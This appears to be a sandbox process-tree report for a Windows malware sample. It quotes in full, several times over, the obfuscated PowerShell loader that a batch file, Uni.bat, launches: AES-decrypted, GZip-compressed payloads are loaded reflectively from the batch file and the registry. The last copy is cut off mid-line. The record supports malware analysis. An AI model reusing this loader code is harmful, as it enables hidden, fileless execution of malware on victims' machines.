C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1420
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1756

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2732

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2984

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3292

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3124
- - C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
    "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function lXUcN($NcmdG){ $ZNBwE=[System.Security.Cryptography.Aes]::Create(); $ZNBwE.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZNBwE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZNBwE.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HNqitIpHrhFARvFSHzYiIMCV8zsJdtJ13c58RfpaiVk='); $ZNBwE.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e9o/NMh8sZbD8255zk7X7A=='); $aQXue=$ZNBwE.CreateDecryptor(); $return_var=$aQXue.TransformFinalBlock($NcmdG, 0, $NcmdG.Length); $aQXue.Dispose(); $ZNBwE.Dispose(); $return_var;}function AFlSx($NcmdG){ $mcaON=New-Object System.IO.MemoryStream(,$NcmdG); $KYaKt=New-Object System.IO.MemoryStream; $mzipE=New-Object System.IO.Compression.GZipStream($mcaON, [IO.Compression.CompressionMode]::Decompress); $mzipE.CopyTo($KYaKt); $mzipE.Dispose(); $mcaON.Dispose(); $KYaKt.Dispose(); $KYaKt.ToArray();}function dYVlV($NcmdG,$Nedin){ $hWSci=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$NcmdG); $jhjWM=$hWSci.EntryPoint; $jhjWM.Invoke($null, $Nedin);}$ADJIG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($lvGEz in $ADJIG) { if ($lvGEz.StartsWith(':: ')) { $Ecxmz=$lvGEz.Substring(3); break; }}$eSebZ=[string[]]$Ecxmz.Split('\');$HLWdG=AFlSx (lXUcN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eSebZ[0])));$hvZbu=AFlSx (lXUcN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eSebZ[1])));dYVlV $hvZbu (,[string[]] (''));dYVlV $HLWdG (,[string[]] (''));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Deletes itself
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\Windows\$sxr-powershell.exe
      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1520
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3008
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 